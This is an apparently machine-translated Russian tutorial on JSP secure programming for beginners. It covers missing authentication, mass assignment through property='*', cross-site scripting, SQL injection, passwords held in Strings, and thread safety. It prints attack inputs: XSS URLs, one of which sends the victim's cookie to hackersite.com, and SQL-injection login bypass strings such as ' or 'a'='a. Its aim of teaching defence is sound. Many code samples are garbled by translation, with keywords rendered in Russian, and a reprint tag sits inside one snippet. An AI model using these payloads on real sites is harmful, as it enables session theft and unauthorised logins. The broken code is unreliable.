Серверная страница Java (JSP) становится все более популярной как технология создания динамических веб-страниц. JSP, ASP и PHP имеют разные рабочие механизмы. Вообще говоря, страницы JSP при выполнении компилируются, а не интерпретируются. Первый вызов файла JSP на самом деле представляет собой процесс его компиляции в сервлет. Когда браузер запрашивает этот файл JSP с сервера, сервер проверит, изменился ли файл JSP с момента последней компиляции. Если изменений нет, сервлет будет выполнен напрямую без перекомпиляции. Таким образом, эффективность будет значительно выше. улучшено.
Сегодня я вместе с вами рассмотрю безопасность JSP с точки зрения программирования сценариев. Риски безопасности, такие как раскрытие исходного кода, выходят за рамки этой статьи. Основная цель написания этой статьи — напомнить друзьям, которые плохо знакомы с программированием JSP, о необходимости с самого начала развивать осведомленность о безопасном программировании, не совершать ошибок, которых не следует совершать, и избегать потерь, которых можно избежать. Кроме того, я тоже новичок. Если у вас есть какие-либо ошибки или другие мнения, пожалуйста, напишите мне об этом.
1. Слабая аутентификация — ошибки низкого уровня.
В обновленной версии Yiyang Forum v1.12
user_manager.jsp — это страница, управляемая пользователем. Автор знает ее конфиденциальность и добавляет блокировку:
if ((session.getValue( "UserName"). )==null)││(session.getValue("UserClass")==null)││(! session.getValue("UserClass").equals("Системный администратор")))
{
response.sendRedirect("err.jsp?id=14");
возвращаться;
}
Если вы хотите просмотреть и изменить информацию о пользователе, вы должны использовать файлmodifyuser_manager.jsp. Отправлено администратором
http://www.somesite.com/yyforum/modifyuser_manager.jsp?modifyid=51
Он предназначен для просмотра и изменения информации пользователя с идентификатором 51 (идентификатор пользователя по умолчанию для администратора — 51). Однако у такого важного документа отсутствует аутентификация. Обычные пользователи (в том числе туристы) могут напрямую отправить вышеуказанный запрос и иметь его четкое представление (пароль также сохраняется и отображается в виде открытого текста). modifyuser_manage.jsp также открыт. Только когда злонамеренный пользователь завершит операцию обновления данных и перенаправится на user_manager.jsp, он увидит страницу, на которой с опозданием отображается ошибка. Очевидно, что просто запереть дверь недостаточно. При программировании вы должны позаботиться о добавлении аутентификации личности в каждое место, где должна быть добавлена аутентификация личности.
2. Сохраняйте доступ к JavaBean.
Ядром технологии компонентов JSP является Java-компонент, называемый bean-компонентом. В программе логическое управление и операции с базой данных могут быть размещены в компоненте Javabeans, а затем вызваны в файле JSP, что может повысить ясность программы и возможность повторного использования программы. По сравнению с традиционными страницами ASP или PHP, страницы JSP очень просты, поскольку многие процессы динамической обработки страниц могут быть инкапсулированы в JavaBeans.
Чтобы изменить свойства JavaBean, используйте тег «<jsp:setProperty>».
Следующий код является частью исходного кода воображаемой электронной системы покупок. Этот файл используется для отображения информации в ящике покупок пользователя, а файл checkout.jsp используется для оформления заказа.
<jsp:useBean id="myBasket" class="BasketBean">
<jsp:setProperty name="myBasket" property="*"/>
<jsp:useBean>
<html>
<head><title>Ваша корзина</title></head>
<тело>
<р>
Вы добавили товар
<jsp::getProperty name="myBasket" property="newItem"/>
в вашу корзину.
<бр/>
Ваша общая сумма составляет $
<jsp::getProperty name="myBasket" property="balance"/>
Перейдите к <a href="checkout.jsp">checkout</a>
Вы заметили свойство="*"? Это указывает на то, что значения всех переменных, введенных пользователем на видимой странице JSP или переданных непосредственно через строку запроса, будут сохранены в соответствующих свойствах bean-компонента.
Обычно пользователи отправляют такие запросы:
http://www.somesite.com/addToBasket.jsp?newItem=ITEM0105342
А как насчет непослушных пользователей? Они могут отправить:
http://www.somesite.com/addToBasket.jsp?newItem=ITEM0105342&balance=0 .
Таким образом, информация о балансе=0 сохраняется в JavaBean. Когда они нажимают «Оформить заказ», чтобы оформить заказ, комиссия не взимается.
Это точно такая же проблема безопасности, вызванная глобальными переменными в PHP. Из этого видно: "property="*"" нужно использовать с осторожностью!
3. Длительный межсайтовый скриптинг.
Атака межсайтовым скриптингом (межсайтовый скриптинг) подразумевает вставку вручную вредоносных сценариев JavaScript, VBScript, ActiveX, HTML или Flash в HTML-код удаленной веб-страницы с целью кражи ее просмотра. конфиденциальность пользователей, изменять настройки пользователя и уничтожать пользовательские данные. Атаки с использованием межсайтовых сценариев в большинстве случаев не влияют на работу серверов и WEB-программ, но представляют серьезную угрозу безопасности клиентов.
В качестве простейшего примера возьмем форум Acai (бета-1) сайта Fangdong.com. Когда мы отправим
http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser <;script>alert(document.cookie)</script>,
появится диалоговое окно, содержащее информацию о наших собственных файлах cookie. Отправьте
http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser <;script>document.location='http://www.163.com'</script>
для перенаправления на NetEase.
Поскольку сценарий не выполняет никакого кодирования или фильтрации вредоносного кода при возврате значения переменной «имя» клиенту, когда пользователь обращается к каналу передачи данных, в котором внедрена вредоносная переменная «имя», код сценария будет выполнен на браузер пользователя, что может привести к таким последствиям, как утечка конфиденциальной информации пользователя. Например, следующая ссылка:
http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser <;script>document.location='http://www.hackersite.com/xxx.xxx?' +document .cookie</script>
xxx.xxx используется для сбора следующих параметров, и параметр здесь указывает document.cookie, который является файлом cookie пользователя, который обращается к этой ссылке. В мире ASP многие люди освоили технику кражи файлов cookie. В JSP чтение файлов cookie не составляет труда. Конечно, межсайтовый скриптинг никогда не ограничивается функцией кражи файлов cookie. Я считаю, что у каждого есть определенное понимание этого, поэтому я не буду здесь вдаваться в подробности.
Весь ввод и вывод динамических страниц должен быть закодирован, чтобы в значительной степени избежать атак с использованием межсайтовых сценариев. К сожалению, кодирование всех ненадежных данных требует больших ресурсов и может повлиять на производительность веб-сервера. Распространенным методом является фильтрация входных данных. Например, следующий код заменяет опасные символы:
<% String message = request.getParameter("message");
сообщение = message.replace('<','_');
сообщение = message.replace('>','_');
сообщение = message.replace('"','_');
сообщение = message.replace(''','_');
message = message.replace('%','_' [Перепечатано с:51item.net]
сообщение = message.replace(';','_');
сообщение = message.replace('(','_');
сообщение = message.replace(')','_');
сообщение = message.replace('&','_');
message = message.replace ('+','_'); %>
Более позитивный способ — использовать регулярные выражения, чтобы разрешить ввод только указанных символов:
public boolean isValidInput(String str)
{
if(str.matches("[a-z0-9]+")) возвращает true;
иначе вернуть ложь;
}
4. Всегда помните о SQL-инъекциях.
При обучении новичков в книгах по общему программированию не уделяется внимания тому, чтобы с самого начала они могли развить навыки безопасного программирования. Знаменитые «Мысли и практика программирования JSP» демонстрируют новичкам, как написать систему входа в систему с использованием базы данных (база данных — MySQL):
Statement stmt = conn.createStatement();
Строка checkUser = "выберите * из входа в систему, где имя пользователя = '" + имя пользователя + "' и пароль пользователя = '" + пароль пользователя + "'";
ResultSet rs = stmt.executeQuery(checkUser);
если (rs.next())
response.sendRedirect("SuccessLogin.jsp");
еще
response.sendRedirect("FailureLogin.jsp");
Это позволяет людям, которые верят в книгу, использовать такие изначально «дырявые» коды входа в систему в течение длительного времени. Если в базе данных есть пользователь с именем «jack», то есть как минимум следующие способы войти в систему, не зная пароля:
Имя пользователя: jack
Пароль: ' или 'a'='a
Имя пользователя: Джек
Пароль: 'или 1=1/*
Имя пользователя: jack' или 1=1/*
Пароль: (любой)
lybbs (Lingyun Forum) версии 2.9. Сервер проверяет данные, отправленные для входа в систему в LogInOut.java, следующим образом:
if(s.equals("") ││ s1.equals(""))
throw new UserException("Имя пользователя или пароль не могут быть пустыми.");
if(s.indexOf("'") != -1 ││ s.indexOf(""") != -1 ││ s.indexOf(",") != -1 ││ s.indexOf(" \") != -1)
throw new UserException("Имя пользователя не может содержать недопустимые символы, такие как ' " \ и т. д.");
if(s1.indexOf("'") != -1 ││ s1.indexOf(""") != -1 ││ s1.indexOf("*") != -1 ││ s1.indexOf(" \") != -1)
throw new UserException("Пароль не может содержать недопустимые символы, такие как ' " \ *.");
if(s.startsWith(" ") ││ s1.startsWith(" "))
throw new UserException("Пробелы нельзя использовать в имени пользователя или пароле.");
Но я не знаю, почему он фильтрует только звездочки в паролях, а не в именах пользователей. Кроме того, представляется, что косые черты тоже следует включить в «черный список». Я по-прежнему считаю, что проще использовать регулярные выражения, чтобы разрешать символы только в пределах указанного диапазона.
Здесь следует предостеречь: не думайте, что встроенная «безопасность» некоторых систем баз данных может эффективно противостоять всем атакам. Статья Pinkeyes «Пример внедрения PHP» преподает урок тем, кто полагается на «magic_quotes_gpc = On» в файле конфигурации PHP.
5. Скрытые опасности, связанные с объектами String.
Платформа Java действительно сделала программирование безопасности более удобным. В Java нет указателей, а это означает, что программы Java больше не могут обращаться к какой-либо области памяти в адресном пространстве, как C. Проблемы безопасности проверяются при компиляции файла JSP в файл .class. Например, попытки доступа к элементам массива, размер которых превышает размер массива, будут отклонены, что в значительной степени позволяет избежать атак на переполнение буфера. Однако объекты String создают некоторые риски для безопасности. Если пароль хранится в объекте Java String, он останется в памяти до тех пор, пока не будет собран мусор или пока процесс не завершится. Даже после сборки мусора он все равно будет существовать в куче свободной памяти до тех пор, пока пространство памяти не будет использовано повторно. Чем дольше строка пароля находится в памяти, тем выше риск подслушивания. Хуже того, если фактическая память будет уменьшена, операционная система отправит эту строку пароля в пространство подкачки диска, что станет уязвимым для атак с перехватом блоков диска. Чтобы свести к минимуму (но не исключить) возможность такого компрометации, вам следует хранить пароль в массиве символов и обнулять его после использования (строки неизменяемы и не могут быть обнулены).
6. Предварительное исследование потокобезопасности
«То, что может JAVA, может JSP». В отличие от языков сценариев, таких как ASP и PHP, JSP по умолчанию выполняется в многопоточном режиме. Многопоточное выполнение может значительно снизить требования к ресурсам системы и улучшить параллелизм и время отклика системы. Потоки — это независимые параллельные пути выполнения в программе. Каждый поток имеет свой собственный стек, свой счетчик программы и свои собственные локальные переменные. Хотя большинство операций в многопоточном приложении могут выполняться параллельно, некоторые операции, такие как обновление глобальных флагов или обработка общих файлов, не могут выполняться параллельно. Если синхронизация потоков не выполнена должным образом, проблемы также возникнут при больших одновременных обращениях без «активного участия» злоумышленников. Самое простое решение — добавить инструкцию <%@page isThreadSafe="false" %> в соответствующий файл JSP, чтобы он выполнялся в однопоточном режиме. В это время все клиентские запросы выполняются последовательно. Это может серьезно ухудшить производительность системы. Мы по-прежнему можем разрешить JSP-файлу выполняться в многопоточном режиме и синхронизировать потоки, заблокировав функцию. Функция плюс ключевое слово Synchronized получает блокировку. Посмотрите на следующий пример:
public class MyClass{
интервал а;
public Init() {//Этот метод может вызываться несколькими потоками одновременно a = 0;
}
publicsynced void Set() {//Два потока не могут вызвать этот метод одновременно, если(a>5) {
а= а-5;
}
}
}
Но это всё равно окажет определённое влияние на производительность системы. Лучшее решение — использовать локальные переменные вместо переменных экземпляра. Поскольку переменные экземпляра размещаются в куче и используются всеми потоками, принадлежащими этому экземпляру, они не являются потокобезопасными, тогда как локальные переменные выделяются в стеке, поскольку каждый поток имеет собственное пространство стека, поэтому они потокобезопасны. . Например, код для добавления друзей на форуме Lingyun:
public void addFriend(int i, String s, String s1)
выдает исключение DBConnectException
{
пытаться
{
если……
еще
{
DBConnect dbconnect = new DBConnect("вставить в значения друга (authorid,friendname) (?,?)");
dbconnect.setInt(1, я);
dbconnect.setString(2, с);
dbconnect.executeUpdate();
дбконнект.закрыть();
дбконнект = ноль;
}
}
catch (исключение-исключение)
{
выдать новое исключение DBConnectException(Exception.getMessage());
}
}
Ниже приводится вызов:
friendsName=ParameterUtils.getString(request,"friendname");
if(action.equals("adduser")) {
forumFriend.addFriend(Integer.parseInt(cookieID),friendName,cookieName);
errorInfo=forumFriend.getErrorInfo();
}
Если используется переменная экземпляра, то эта переменная экземпляра используется всеми потоками экземпляра. Возможно, что после того, как пользователь A передает определенный параметр, его поток переходит в состояние сна, и этот параметр непреднамеренно изменяется пользователем B. вызывая феномен несоответствия друзей.